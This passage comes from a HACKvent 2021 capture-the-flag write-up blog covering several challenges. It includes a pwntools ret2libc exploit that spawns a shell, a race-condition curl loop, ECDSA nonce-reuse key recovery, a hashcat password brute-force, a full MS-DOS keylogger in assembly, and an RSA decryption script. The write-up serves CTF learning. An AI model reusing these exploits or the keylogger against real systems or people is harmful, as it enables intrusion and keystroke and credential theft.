print(p.recvline())
p.sendline(b'A'*199)

# get canary
memory_dump = p.recvuntil(b' 1: Send \xf0\x9f\x8e\x85 a wish\n')
canary = memory_dump[246:254]

#get libc address (+8bytes after canary)
libc_memory_leak = memory_dump[262:270]
libc_base_int = int.from_bytes(libc_memory_leak, byteorder="little")
libc_base_int = libc_base_int - 243 - libc.sym["__libc_start_main"]
print(hexdump(memory_dump))
print("[--> Found Stack Canary: " + str(canary.hex()))
print("[--> Found Libc Memory Leak: " + str(hex(libc_base_int)))

The libc base address was found at 0x799eff7a000.

Step 3 – Create ROP chain

Main tutorial used: https://stacklikemind.io/ret2libc-aslr

As we already have a way to calculate the libc base address, we can search for ROP gadgets directly in the libc library. Take care to use the correct libc library, depending if you are running the exploit against the remote or local target!

Our final payload must look like this:

junk "A" * 200 | canary | junk "B" * 8 | pop rdi ret gadget | ptr to "/bin/bash" | ptr to system 

We use ropper to find a suitable gadget:

“pop rdi; ret” is just perfect – we use this one. As the address found in ropper is just an offset, we of course have to add the libc base address to it. The pointer to /bin/bash and the system can be easily created with pwntools:

rop.raw(0x0000000000026b72+libc_base_int) # pop_rdi address
rop.raw(next(libc.search(b'/bin/sh'))) # target libc
rop.raw(libc.symbols['system'])

Technically, now we should have everything to finalize our exploit. Unfortunately, the exploit didn’t spawn a shell on the remote system yet. GDB presented me the error message “148 ../sysdeps/posix/system.c: No such file or directory.”. After reading further in the mentioned blog post I did learn that this is happening in an Ubuntu environment. I need to add 8 more bytes for stack alignment. Therefore, the final payload looks like this:

junk "A" * 200 | canary | junk "B" * 8 | pop rdi ret gadget | ptr to "/bin/bash" | 8 bytes stackalignment | ptr to system 

With this change, the exploit works perfectly! I also used the ROP() function of pwntools which makes the whole process a little bit easier. There is the final exploit code:

#!/usr/bin/python3
#
# Help-files:
# https://www.sans.org/blog/stack-canaries-gingerly-sidestepping-the-cage/
# https://stacklikemind.io/ret2libc-aslr --> UBUNTU PART!!
# https://mdanilor.github.io/posts/memory-protections/
#

from pwn import *
from struct import pack

#p = gdb.debug('./hv21_santas_wish_service', 'c')
#p = process("./hv21_santas_wish_service")
p = remote("152.96.7.2", 1337)
binary = ELF('./hv21_santas_wish_service')
context.binary = binary
rop = ROP(binary)
libc = ELF('./libc.so.6')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

context.update(arch='amd64', os='linux')
p.clean()
p.sendline(b'1')
print(p.recvline())
p.sendline(b'300')
print(p.recvline())
p.sendline(b'A'*199)

# get canary & libc_base address
memory_dump = p.recvuntil(b' 1: Send \xf0\x9f\x8e\x85 a wish\n')
canary = memory_dump[246:254]
libc_memory_leak = memory_dump[262:270]
libc_base_int = int.from_bytes(libc_memory_leak, byteorder="little")
libc_base_int -= 0x270b3
print(hexdump(memory_dump))
print("[--> Found Stack Canary: " + str(canary.hex()))
print("[--> Found Libc Memory Leak: " + str(hex(libc_base_int)))

p.sendline(b'1')
print(p.recvline())
p.sendline(b'300')
print(p.recvline())

libc.address = libc_base_int
rop.raw(b'A'*200)
rop.raw(canary)
rop.raw(b'B'*8)
rop.raw(0x0000000000026b72+libc_base_int) # pop_rdi address
rop.raw(next(libc.search(b'/bin/sh'))) # target libc
rop.raw(0x00000000000c0533+libc_base_int) # stackalignment
rop.raw(libc.symbols['system'])

p.sendline(rop.chain())

p.recvuntil(b'2: Exit')
p.recvline()
p.sendline(b'2')
p.interactive()

Flag

HV21{0h_n0!!!_3lv3s_Pr0gr4mmingSk1llz_4r3_st1ll_b4d!}


[HV21.15] Christmas Bauble

Thanks!

This challenge is brought to you by Dr NickDrSchottky graciously provided the surroundings. Such great artists!

Introduction

The elves have started taking 3D modeling classes and have presented Santa with a gift. What a nice gesture! But the ball feels heavier than it should; what does that even mean for digital assets???

Goal

There may or may not be a flag hidden somewhere. Who am I kidding, of course there is. Find it!

Solution

This challenge was pretty easy in comparison to the binary exploitation on the day before. I used the online tool https://app.vectary.com/ to solve this challenge. I opened the file and changed the display method to wired. This way you can verify that there is a QR code inside the bauble, which unfortunately is not readable yet:

I changed the display method to “shaded”, right clicked on the bauble and selected “break apart”. On the left side in the menu I selected the different parts of the bauble until I found the outer part, which I did hide in the view. Now we already have a pretty clear QR code visible, although still not scannable.

As a final step I did change the color to all black and got 3 different QR codes from the different orientations:

Flag

HV21{1st_P4rt_0f_th3_fl4g_with_the_2nd_P4rt_c0mb1ned_w17h_th4t}


[HV21-Hidden] Where did you find that??

What? You found another one? Lucky you!

Solution

In the wired view of the same online application as before I found the flag hidden in the top left corner of one of the QR codes.

Flag

HV21{hidd3n_1n_th3_cube}


[HV21.16] Santa’s Crypto Vault

Thanks!

This challenge is brought to you by MtHoneggKotlin rulez ;-)

Introduction

With the recent Crypto Rally, Santa has invested all his funds into Santa Coins. Because he doesn’t trust any existing software to securely store his wallet, he asked one of his elves, “Mikitaka Hazekura”, to implement their own crypto vault using enterprise software design patterns, the latest technology and thorough unit tests. They’re so proud of it, they’ve decided to open source it!

Santa requested to use multiple words, based off his favorite anime, instead of one long password to make it more memorable and secure at the same time.

Goal

Santa watched the newly released 6th part of his favorite anime and binge-watched it multiple times already. Unfortunately he can now no longer remember which characters he used to set up his wallet and can’t access his funds to buy the gifts for Christmas. Can you help Santa out?

Hints

  • No knowledge about JoJo's Bizarre Adventure is required to solve this challenge
  • No extensive brute force or wordlist is required

Solution

We got the whole source code of the application. There are many hints which indicate that there is a race-condition in the application. E.g. the comment in the unit-test, the blocking of the concurrent requests and the button in the website which is disabled after submitting a request.

package dev.honegger.hackvent2021.santacryptovault.controllers

import dev.honegger.hackvent2021.santacryptovault.services.VaultCode
import kotlinx.coroutines.*
import org.junit.jupiter.api.Assertions
import org.junit.jupiter.api.Disabled
import org.junit.jupiter.api.Test
import org.springframework.beans.factory.annotation.Autowired
import org.springframework.boot.test.context.SpringBootTest
import org.springframework.http.HttpStatus
import kotlin.time.Duration.Companion.milliseconds


@SpringBootTest(
    properties = [
        "vault.secret.bestCharacter=Correct_hash",
        "vault.secret.bestWaifu=Correct_hash",
        "vault.secret.reliableGuy=Correct_hash",
        "vault.secret.bestStand=Correct_hash",
        "vault.secret.bestVillain=Correct_hash",
    ]
)
class VaultControllerTests {

    @Autowired
    lateinit var controller: VaultController

    private val dummyCode = VaultCode(
        bestCharacter = "Dio",
        bestWaifu = "Dio",
        reliableGuy = "Dio",
        bestStand = "Dio",
        bestVillain = "Dio",
    )

    @Test
    fun `too many requests get blocked`() = runBlocking {
        val firstRequests = listOf(
            async { controller.check(dummyCode) },
            async { controller.check(dummyCode) },
        )
        delay(100.milliseconds)
        val additionalRequest = controller.check(dummyCode)
        val results = firstRequests.awaitAll()
        results.forEach {
            Assertions.assertEquals(
                HttpStatus.FORBIDDEN,
                it.statusCode
            )
        }
        Assertions.assertEquals(
            HttpStatus.TOO_MANY_REQUESTS,
            additionalRequest.statusCode
        )
    }

    @Test
    @Disabled("TODO sometimes this test fails and a dummyCode passes, hopefully just a test issue")
    fun `parallel execution works`() = runBlocking {
        listOf(
            async { controller.check(dummyCode) },
            // Hint: This delay needs to be adjusted based on computer speed if you want to run the test locally
            async { delay(375.milliseconds); controller.check(dummyCode) },
        ).map {
            it.await()
        }.forEach {
            Assertions.assertEquals(
                HttpStatus.FORBIDDEN,
                it.statusCode
            )
        }
    }

}
package dev.honegger.hackvent2021.santacryptovault.controllers

import dev.honegger.hackvent2021.santacryptovault.services.WalletService
import dev.honegger.hackvent2021.santacryptovault.services.VaultCode
import dev.honegger.hackvent2021.santacryptovault.services.VaultService
import kotlinx.coroutines.*
import mu.KotlinLogging
import org.springframework.http.HttpStatus
import org.springframework.http.ResponseEntity
import org.springframework.web.bind.annotation.GetMapping
import org.springframework.web.bind.annotation.RestController
import java.util.concurrent.atomic.AtomicInteger
import kotlin.time.Duration.Companion.seconds

/**
 * Prevent evil DDOS or Brute-Force attacks
 */
private const val maxConcurrentRequests = 2

/**
 * Prevent time based Brute-Force attacks
 */
private val constRequestDuration = 2.seconds

private val log = KotlinLogging.logger {  }

@RestController
class VaultController(private val vaultService: VaultService, private val walletService: WalletService) {
    private var activeRequests = AtomicInteger(0)
    private val scope = CoroutineScope(Dispatchers.Default)

    @GetMapping("/check")
    suspend fun check(code: VaultCode): ResponseEntity<String> {
        return if (activeRequests.incrementAndGet() <= maxConcurrentRequests) {
            try {
                log.info { "Checking $code" }
                val delayTask = scope.async { delay(constRequestDuration) }
                val codeTask = scope.async { vaultService.checkCode(code) }

                val res = codeTask.await()
                delayTask.await()
                if (res) {
                    ResponseEntity.ok("Correct code! Here's your crypto wallet: ${walletService.walletAddress}")
                } else {
                    ResponseEntity.status(HttpStatus.FORBIDDEN).body("Wrong code!")
                }
            } finally {
                activeRequests.decrementAndGet()
            }
        } else {
            activeRequests.decrementAndGet()
            log.info { "Blocked DDOS attack" }
            ResponseEntity.status(HttpStatus.TOO_MANY_REQUESTS).body("Too many parallel requests!")
        }
    }
}

I solved this task by entering the curl command in one terminal and running a bash loop in a second terminal. After 2-3 minutes I got the flag.

while true; do curl "https://b805c837-cac5-47b2-8aa4-a9fab4730ede.idocker.vuln.land/check?bestCharacter=Dio&bestWaifu=Dio&reliableGuy=Dio&bestStand=Dio&bestVillain=Dio"; done

Flag

HV21{c0ncurrency_1s_a_b1tch}


[HV21.17] Forging Santa’s Signature

Thanks!

This challenge is brought to you by ice. It’s their signature dish!

Introduction

Santa is out of town and the elves have to urgently sign for an order. What to do, what to do? Well, need to save Christmas, so forge Santa’s signature they shall!

Goal

Can you help the elves help Santa help everyone?

Hints

The message to be signed is hashed as follows: int(sha512(content.encode('utf-8')).hexdigest(), 16)

Solution

On the challenge website we can sign sample messages and execute commands if we can properly sign them.

First, I googled for P-384 and came across the ECDSA Signature Algorithm. In my research I discovered that the bug/problem used for this challenge was the reason that the Playstation 3 was hacked by fail0verflow and geohot. The problem exists when a poor or no random generator is used and the nonce always stays the same. I also stumbled across a video of LiveOverflow on youtube, who explains in detail how to solve this kind of CTF challenge. My solution is heavily based on the mentioned youtube video.

With the same nonce, the two messages in the print screen and the signatures we can recover the signing key and sign our own command to solve this challenge. The command “cat flag.txt” is used to read the content of the flag. Here is my script:

from hashlib import sha512
from ecdsa.curves import NIST384p
from ecdsa.numbertheory import inverse_mod
from ecdsa import SigningKey
from ecdsa.util import string_to_number, sigencode_strings
from dataclasses import dataclass, field
from numpy import mod


def get_signature(message, signing_key, private_key):
    sigr, sig = signing_key.sign(message.encode('utf-8'), k=private_key, sigencode=sigencode_strings, hashfunc=sha512, allow_truncate=True)
    return string_to_number(sigr), string_to_number(sig)

n = NIST384p.order

r1 = 5858732217639868639411386743809793774024746786952853845150182054444060335615795388004347925624921216402601780245474
s1 = 24775390985096693628587027542033193722178956113964732633660589449938083762410321188008407598547182884719288898328927
m1 = "Sample 1"
z1 = int(sha512(m1.encode('utf-8')).hexdigest(), 16)
z1 = z1 >> (512 - int(NIST384p.order).bit_length())


r2 = 5858732217639868639411386743809793774024746786952853845150182054444060335615795388004347925624921216402601780245474
s2 = 2011626295771525712212976969583419665940885391604065641883244102761256044025895922113900869438754143591054921598902
m2 = "Sample 2"
z2 = int(sha512(m2.encode('utf-8')).hexdigest(), 16)
z2 = z2 >> (512 - int(NIST384p.order).bit_length())


k = (((z1 - z2) %n) * inverse_mod(s1 - s2, n)) %n
print("got k: " + str(k))


dA = ((((s1*k)%n) -z1) * inverse_mod(r1,n)) %n
print("got DA: " + str(dA))

sk = SigningKey.from_secret_exponent(dA,curve=NIST384p)
print(get_signature("cat flag.txt", sk, k))
$ python3 sol.py 
got k: 1403827651692161146480849641683810706894875255817855607788378779847968599038129200139880981523307336790480705837853
got DA: 37359027294104166988040099919169160805154413368249661614739727606944143104440877050919128026845236700442103481261264
(5858732217639868639411386743809793774024746786952853845150182054444060335615795388004347925624921216402601780245474, 19734950972302764859836649590795926779990380369758052552114472465653004798967695373456125244935806469449514350652879)

Flag

HV21{what’s_in_a_nonce?}


[HV21.18] Lost Password

Thanks!

This challenge is brought to you by monkey. Running a very tight ship ;-)

Introduction

Santa is getting a bit cross with Snowball the elf…

SANTA: Let me get this straight. I asked you to encrypt all our PDF files to prevent our lists of names from getting into the wrong hands, right?

SNOWBALL: Right.

SANTA: And then I asked you to send me the password to these files so I can access them, yes?

SNOWBALL: Yes.

SANTA: So you sent me the password in a PDF file.

SNOWBALL: A PDF, yes.

SANTA: Which was encrypted.

SNOWBALL: Yes. As per your instructions. We don’t want the password to get into the wrong hands, do we?

SANTA: But I can’t open this password file without knowing what the password is, can I? Could you please just write it down for me? You do remember it, don’t you?

SNOWBALL: Umm….

SANTA: Snowball! Don’t tell me you forgot the password!

Uh-oh. It’s starting to look like Christmas is ruined. Is there anything you can do to retrieve the password from this file?

Flag-Format: HV{__________}

Solution

Another very resource intensive challenge… I used the tools and information from Didier Stevens to solve this challenge.

Step 1 – Analyze the PDF

We have a PDF file with the PDF version 1.6. In the PDF are 27 different objects. Let’s look closer at the objects with pdf-parser.py and see if we find anything of interest:

We have an AES symmetric encryption with 128bit… Doesn’t sound like we can bruteforce this password. One object in the PDF is suspicious though, the font object:

If we look at the widths and map the array to the characters in the alphabet, we can take the assumption that characters with width of 0 are non-existent. That means we have a limited character set for the password with the charset:

#/6EHQRVgjwx{}

According to the hint the flag-format and the password is “HV{__________}“. There are 10 characters between the brackets {}. I took the assumption, that the characters HV{} are only used for the outer part of the flag “HV{}” and removed these characters from the character set. I did store the final character set to the file charset.txt.

#/6EQRgjwx

With all this information it is suitable to brute-force the password. It still took ages on my laptop to compute though. To be precise it took me 5 hours and 35 minutes!

$ hashcat -m 10500 -a 3 -i doc.hash -1 charset.txt HV{?1?1?1?1?1?1?1?1?1?1} --force --increment-min=14

With the password “HV{E6wRx#jQ/g}” we can open the PDF and get the confirmation that the password is also our flag.

Flag

HV{E6wRx#jQ/g}


[HV21.19] Santa’s Trusty System

Thanks!

This challenge is brought to you by darkstar. All hail stability!

Introduction

Santa has been using his trusty system for more than a quarter of a century and his elves think the software is far too old and insecure. They’re asking you to have a look at the software. They’d also be willing to swap one of the disks if you provide an updated version. You’ll of course get it back as soon as they’ve done a quick sanity test on Santa’s system.

Goal

Can you please take a look at the software and see if it’ secure?

Solution

I couldn’t have solved this challenge without the help of “ice”. I understood what needed to be done in the challenge, but struggled in the assembler part. Therefore the assembler-code is mainly his. Thanks a lot for the support.

The challenge provides this website:

Moreover we have two img files fda.img and fdb.img together with a run.sh script to run the files in qemu.

Let’s mount the fda.img image locally and see what the content is.

Together with the website of the challenge we can figure out what is needed to solve this:

  • AUTOEXEC.BAT loads b:\init.bat which is under our control
  • We can upload fdb.img to the website, with a init.bat and load our own program which will be executed before the hv21.exe
  • If we are able to write output to b:\ and the checksum of fdb.img changes after execution, we can download the image.

In my perspective there are two ways to solve the challenge. 1) Write a keylogger for MS-DOS which saves the keystrokes to b:\ and load it in the init.bat file. 2) Patch the HV21.exe file to save the keystrokes/password to b:\ and replace the original HV21.exe with the init.bat file. I went for solution number one.

Step 1 – ASM keylogger

Thanks to ice I could create the following keylogger in assembly, which is based on this source code: https://github.com/MrMichael2002/Keylogger-scan-codes/blob/master/KEYS.ASM

HV21.exe registers the interrupt routine 09h and therefore we need to address this in the assembly code, otherwise the keylogger will not work during the execution of hv21.exe – then we won’t get the username & password.

.model tiny
.code
.386
org 100h
Start:
		jmp	real_start

edited		dw	0
magic		dw	0BABAh
logfile		db	'b:\output.txt', 0      
handle		dw	0
buf		db	320 dup (?)
bufptr          dw	0
must_write	db	0



;IRQ1 - KEYBOARD DATA READY
new_09h:
		pushf
		pusha
		push	es                      
		push	ds
		push	cs                      
		pop	ds	;Remember segments

	        cmp	bufptr, 160
		jae	call_old_09	;Check if buffer is overflown

		in	al, 60h                 

		;cmp   	al, 39h  	;Don't remember Shift, Alt and Ctrl               
		;ja    	call_old_09             
		;cmp   	al, 2Ah
		;je    	call_old_09
		;cmp   	al, 36h                 
		;je    	call_old_09

		push  	0
		pop   	es                      
		mov   	ah, byte ptr es:[417h]  
		test  	ah, 43h                 ;Check if both shifts and CapsLock pressed
		je    	pk1                     
 
		add   	al, 80h     	            
pk1:
		mov 	di, bufptr
      	mov   	buf[di], al             
      	inc   	di                      
        mov   	bufptr, di
        mov   	must_write, 1           
                                    
call_old_09:
        	cmp edited, 3
            jb second
            pop	ds
            pop	es
            popa
            popf
            jmp	dword ptr cs:[old_09_offset]	;Jump to old int09 handler
            
second:     pop	ds
            pop	es
            popa
            popf
            jmp	dword ptr cs:[hv_offset]        ;Jump to hv21.exe handler


old_09_offset  dw ?
old_09_segment dw ?


;DOS IDLE INTERRUPT
new_28h:
		pushf                         
		pusha
		push  	es
		push  	ds
		push  	cs
		pop   	ds

		cmp   	must_write, 1
		jne   	call_old_28  
           
		cmp   	bufptr, 160
		jb    	call_old_28             
 
		mov   	ax, 3d01h
		lea   	dx, logfile             
		int   	21h
                     
		jc    	call_old_28             
		mov   	handle, ax
		mov   	bx, ax                  
		mov   	ax, 4202h
		xor   	cx, cx
		xor   	dx, dx
		int   	21h
                     
		jc    	call_old_28
             
		mov   	ah, 40h
		mov   	bx, handle
		mov   	cx, bufptr
		lea   	dx, buf
		int   	21h                     
		jc    	call_old_28             

		mov   	ah, 3Eh
		mov   	bx, handle
		int   	21h                     
		jc    	call_old_28
 
		mov   	must_write, 0
		mov   	bufptr, 0

call_old_28:
		pop	ds
		pop   	es
		popa                          
		popf
		jmp	dword ptr cs:[old_28_offset]

old_28_offset  dw ?
old_28_segment dw ?

new_21h:
		pushf                         
		pusha
		push  	es
		push  	ds
		push  	cs
		;pop   	ds

		cmp	ax, 2509h
		jne    	call_old_21

		mov	cs:hv_offset, dx
		mov	cs:hv_segment, ds
		inc	edited

        	pop     ds
        	pop     ds
        	pop     es
        	popa
        	popf
        	iret

call_old_21:
		pop     ds
        	pop     ds
		pop     es
		popa                          
		popf
		jmp     dword ptr cs:[old_21_offset]

hv_offset	dw ?
hv_segment	dw ?

old_21_offset  dw ?
old_21_segment dw ?
 
real_start:
		mov	ax, 3509h		;Get old int09h address
		int   	21h                     
 
		cmp   	word ptr es:magic, 0BABAh ;Check if has been installed
		je    	already_inst
 
		mov   	cs:old_09_offset, bx    ;Remember old int09h handler
		mov   	cs:old_09_segment, es
    
		mov   	ax, 2509h		;Set new int09h handler
		mov   	dx, offset new_09h       
		int   	21h

		mov   	ax, 3528h               ;Get old 28h handler
		int   	21h                     

		mov   	cs:old_28_offset, bx     
		mov   	cs:old_28_segment, es    

		mov   	ax, 2528h		;Set new 28h handler                
		mov   	dx, offset new_28h       
		int   	21h

		mov	ax, 3521h		;Get old21h handler
		int	21h

		mov	cs:old_21_offset, bx
		mov	cs:old_21_segment, es

		mov   	ax, 2521h		;Set new 21h handler
		mov   	dx, offset new_21h       
		int   	21h
 
		call  	create_log_file         
 
		mov   	dx, offset ok_installed   
		mov   	ah, 09h			
		int   	21h

		;mov     dx, offset real_start   ;TSR
		;int     27h
                mov       dx, offset real_start
                mov       cl, 4
                shr       dx, cl
                add       dx, 111h
                mov       ax, 3100h
                int       21h  


create_log_file:
		mov   	ax, 3D01h	;Try to open file
		lea   	dx, logfile
		int   	21h                     
		mov   	handle, ax              
		jnc   	clog4                   
 
clog3:
		mov	ah, 3Ch         ;Create new file if not opened
		mov	cx, 02h                 
		lea	dx, logfile
		int	21h
		mov	handle, ax
 
clog4:
		mov	bx, handle      ;Remember file handle
		mov	ah, 3Eh		;Close file
		int	21h
		ret 


already_inst:
		mov	dx, offset already_msg
		mov	ah, 09h
		int	21h
		jmp	exit
 

exit:
		int	20h
 
ok_installed	db 'KEYLOG successful installed$'
already_msg	db 'KEYLOG already installed$'

end	Start

We use Open Watcom v2 to compile the code. Of help in using Watcom were also these two links:

$ wasm keylogger.asm
$ wlink sys dos com name keylogger.com file keylogger.o
$ mkdir img; sudo mount -o loop fdb.img img
$ cp keylogger.com img/k.com
$ cat init.bat
b:
k.com
$ sudo umount img

Now we can upload the fdb.img to the website and wait until the routine has completed. Afterwards we should be able to download the fdb.img again, as the content has changed.

And voila, there is the file OUTPUT.TXT.

Step 2 – Decode scan codes

I didn’t find an automatic way to convert the scan codes to actual characters. Thus, I used this pdf file to do it manually. I converted all the keystrokes and saved them in a text file.

38 		--> ALT (DOWN)
18 98 	--> O (DOWN, UP)
b8 		--> ALT (UP)

19 99	--> P (Down, UP) 

04 84  	--> 3 (Down, UP)
13 93 	--> R (Down, UP)

38		--> ALT (Down) 
1e 9e 	--> A (DOWN, UP)
b8 		--> ALT (UP)

14 94	--> T (DOWN, UP)
18 98 	--> O (DOWN, UP)
13 93 	--> R (DOWN, UP)
1c 9c 	--> ENTER (DOWN, UP)
----

1d		--> CTRL (DOWN)
02 82 	--> 1! (DOWN, UP)
9d 		--> CTRL (UP)

38 		--> ALT (DOWN)
02 82 	--> 1! (DOWN, UP)
b8 		--> ALT (UP)

38		--> ALT (DOWN) 
1f 9f 	--> S (DOWN, UP)
b8 		--> ATL (UP)

16 96	--> U (DOWN, UP)
19 99	--> P (DOWN, UP)
19 99  	--> P (DOWN, UP)
12 92 	--> E (DOWN, UP)
13 93 	--> R (DOWN, UP)

2a		--> L-SHIFT (DOWN) 
39 b9	--> SPACE (DOWN, UP)
aa		--> L-SHIFT (UP)

2a		--> L-SHIFT (DOWN) 
1f 9f 	--> S (DOWN, UP)
aa 		--> L-SHIFT (UP)

12 92	--> E (DOWN, UP)
2e ae	--> C (DOWN, UP)
16 96 	--> U (DOWN, UP)
13 93 	--> R (DOWN, UP)
12 92	--> E (DOWN, UP)

38 		--> ALT (DOWN)
39 b9 	--> SPACE (DOWN, UP)
b8 		--> ALT (UP)

19 99	--> P (DOWN, UP)

38		--> ALT (DOWN) 
1e 9e 	--> A (DOWN, UP)
b8		--> ALT (UP)

06 86 	--> 5% (DOWN, UP)
06 86 	--> 5% (DOWN, UP)
11 91	--> W (DOWN, UP)

38 		--> alt
18 98 	--> O (DOWN, UP)
b8 		--> ATL

13 93 	--> R (DOWN, UP)
20 a0 	--> D (DOWN, UP)

38 		--> ALT
03 83 	--> 2@ (DOWN, UP)
b8 		--> ALT

1d 		--> CTRL (DOWN)
05 85 	--> 4$ (DOWN, UP)
9d 		--> CTRL (UP)

1d 		--> CTRL
09 89 	--> 8* (DOWN, UP)
9d 		--> CTRL

17 97 	--> I (DOWN, UP)

2a 		--> LSHIFT 
39 b9 	--> SPACE (DOWN, UP)
aa		--> LSHIFT  

23 a3	--> H (DOWN, UP)
18 98 	--> O (DOWN, UP)
19 99 	--> P (DOWN, UP)
12 92	--> E (DOWN, UP)  

2a 		--> LSHIFT 
39 b9 	--> SPACE (DOWN, UP)
aa		--> LSHIFT  

17 97 	--> I (DOWN, UP)
14 94  	--> T (DOWN, UP)

2a 		--> LSHIFT
2b ab 	--> \| (DOWN, UP)
aa 		--> LSHIFT

1f 9f 	--> S (DOWN, UP)

2a		--> LSHFT 
35 b5 	--> /? (DOWN, UP)
aa 		--> LSHIFT

26 a6 	--> L (DOWN, UP)
18 98 	--> O (DOWN, UP)
31 b1	--> N (DOWN, UP)
22 a2 	--> G (DOWN, UP)

2a 		--> LSHIFT
35 b5 	--> /? (DOWN, UP)
aa 		--> LSHIFT

12 92	--> E (DOWN, UP) 
31 b1 	--> N (DOWN, UP)
18 98 	--> O (DOWN, UP)
16 96	--> U (DOWN, UP)
22 a2	--> G (DOWN, UP)
23 a3 	--> H (DOWN, UP)
14 94	--> T (DOWN, UP)

1d		--> CTRL 
06 86 	--> 5% (DOWN, UP)
9d		--> CTRL

There are many special characters in the username and password, which I never could have entered manually myself. Fortunately, there is the compatmonitor in qemu which has the function “sendkeys”.

Flag

HV21{hack1ng_l1ke_th3_90s}


[HV21.20] Trolling Crypto Elves

Thanks!

This challenge is brought to you by ice. Don’t break everything!

Introduction

The elves have been back to school and now they’re trolling Santa. They’ve encrypted a message and are challenging him to decrypt it. Of course Santa doesn’t want to look stupid, so he’s asking you for help.

Goal

Would you mind decrypting the message and letting Santa know what’s in it? You’ll get a cookie in return (well, a flag-shaped one, but aren’t those the best?).

Solution

We get a public key and an encrypted message, stored in a binary file. The public key is an RSA key with a weird exponent of 4242.

Looks like we have to do the RSA calculation ourselves. Once again I googled for similar CTF challenges and did find these two interesting posts:

Given is already n (Modulus), e (Exponent), c (encrypted message). We need p & q to calculate everything we need.

n = p*q

RSA is built on the factorization problem, which should not allow us to get p & q if we have n. There is the website factordb.com which has pre-calculated factorizations. Let’s see if we find the primes for our n. There is a factorization available! p & q are even the same number. We now have the following:

- n: 21841229176641676811074222222429036686010157493819478906104756224784026782720095285562077658175994506814988868039420867464335127876647084137268626334223518969271953762934538192829593027351087506564856372252764608983654907443877304590598039308085484230387424168108589912364744981715047690934796624671825840761147121835935311518027061488285356813614197767377798508227633097728683793773240697883725855674919223272992158621864652379194787743287739980453395882286994644048503221607873267720518809023683802183778543479285200786684047572628386266548042179603137730815862594760654189158575192864779821225861303652435417736529
- e: 4242
- p: 147787784260545962118188414836562419091239637174246137547080224512674547409696632337716736540029480316926476778997662919589650979117808985601704630621987476641319630228351149280459382305077484493057997870551421060027289012740657904610013731896147312992127289391935096623938889140237400984329575053824496483977
- q: 147787784260545962118188414836562419091239637174246137547080224512674547409696632337716736540029480316926476778997662919589650979117808985601704630621987476641319630228351149280459382305077484493057997870551421060027289012740657904610013731896147312992127289391935096623938889140237400984329575053824496483977

Unfortunately, the standard calculation examples for this problem don’t work. This, because we have two special cases in this challenge.
1) p == q
Solution –> phi = p * (p – 1) instead of phi = (p – 1)(q – 1)

2) gcd(phi_n, e) != 1
Solution –> can be found here: https://github.com/HackThisSite/CTF-Writeups/blob/master/2017/EasyCTF/RSA%204/README.md

We now have collected all the puzzle pieces to solve the challenge. The final script is:

from Crypto.Util.number import long_to_bytes
from Crypto.PublicKey import RSA
import gmpy2
import base64

'''
Supporting blog posts:
- http://hacktracking.blogspot.com/2013/11/cscamp-ctf-quals-2k13-crypto-public-is.html
- https://github.com/VulnHub/ctf-writeups/blob/master/2015/eko-party-pre-ctf/rsa-2070.md
'''


public_key ='''-----BEGIN PUBLIC KEY-----
MIIBITANBgkqhkiG9w0BAQEFAAOCAQ4AMIIBCQKCAQEArQQPi5eDjcWTz/cZToY9
V9WjmbvvbN7P3W2NTdAYCd7EryshptEUsPdXbeTHrWObEROG0ZMrGFrWY4G33sXN
ZsdZ/AYwRSfQdH2bA5nqrTWIcxJRiDShBgD/w99BYqJH+d7qpPbRGdJJWYYQN1LJ
XLdUyZvH4VTQMq7wbu+Gly9NUxaTVpDTgm3PSBfjiBIcWBy7yGI1VU2Leuf0Ik+4
ystrTn4CgFKbyTxBEAB9f2kvemePqH2w2/9lkHJF9zDGp4MrWcA+1GOQjjYl5cM8
3xd/eZh04GglIS4cbNt4jHma0SfivbemNOMOgW9lAbItIZvD/1s2lrOZE2jd7zWl
UQICEJI=
-----END PUBLIC KEY-----'''

encrypted_message = '''CRb31iikjWfVXYQI7K6WffS2XIpticw4+a7d8CY+9SHNdO3GysZo2U3NJ6bKoPe5/OWj8NwoYU/M
jp8GrJ9ZXiUg1V+sGnXJIuU/hPIHWWsYiAzxyO1XLJ+rDr6PU6e3e3rBn9weat9ovt8dqtxsqNKt
aXgmjt+XEwf9/4rL0kJfWdSh/qi3ITu42AnRMjeZitPb2bwpYhbl/3zT3sn6pJBtgeKKmYdjrNYs
ZMwJZvkjw75GwzVl2JIuMzHBVwgX2Ca6B6oyccINYrqZOlvex8k3TLqBTLAk3ls7nxVILEQcLtLh
5/ORI1OFb1Lj46dIyn0ZTdvkrDjo2/ruhT5btQ=='''

pubkey = RSA.importKey(public_key)
p = 147787784260545962118188414836562419091239637174246137547080224512674547409696632337716736540029480316926476778997662919589650979117808985601704630621987476641319630228351149280459382305077484493057997870551421060027289012740657904610013731896147312992127289391935096623938889140237400984329575053824496483977
q = 147787784260545962118188414836562419091239637174246137547080224512674547409696632337716736540029480316926476778997662919589650979117808985601704630621987476641319630228351149280459382305077484493057997870551421060027289012740657904610013731896147312992127289391935096623938889140237400984329575053824496483977
c = int.from_bytes(base64.b64decode(encrypted_message), 'big')
n = pubkey.n
e = pubkey.e

print("[+] Got values:")
print("- n: " + str(n))
print("- e: " + str(e))
print("- p: " + str(p))
print("- q: " + str(q))

# phi = (p-1)*(q-1), but when p=q then p *(p-1)
phi = p * (p - 1)
g = gmpy2.gcd(e, phi)
e //= g
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
m, _ = gmpy2.iroot(m, g)
print("----")
print("[!!] " + str(long_to_bytes(m)))

Flag

HV{F3M4TS L1TTL3 TH30R3M}


[HV21.21] Re-Entry to Nice List

Thanks!

This challenge is brought to you by HaCk0. For sure on the nice list!

Introduction

The elves are going web3! Also, Santa needs money to produce the toys (did you really think anything is for free?!). In order not be a boomer and to raise more than the ConstitutionDAO, he tasked his elves with creating a smart contract for people to buy into the nice list.

Unfortunately, the elves weren’t up to the task and only were able to put the deeds counter on to the blockchain. You have to submit one good deed per month to get on to the nice list.

Unluckily for you, Christmas is in a few days and you can only submit 1 deed per month (or in blockchain terms: every 172800 blocks). Or can you get your counter to 0 in time?

Hints

  • Contract address: 0x82Ff67Ed282eFdeBcE2BA1176d65f39762Ce1cc5
  • Network used: Etherum Rinkeby (Test Network)
  • Create a Wallet: use the metamask browser extension
    • If you’ve already connected to the server before installing, reload your page.
  • Get some ETH at e.g.

Solution

Another Blockchain challenge, I solved this one as second \o/. Did I mention that I like Blockchain challenges? ;) Once again, I worked with the remix application and Metamask.

Once connected to Metamask the challenge website looks like this:

On etherscan.io we can find the source code of the challenge contract.

pragma solidity 0.8.0;

contract SantasList {
    mapping(address => uint256) naughtyList;
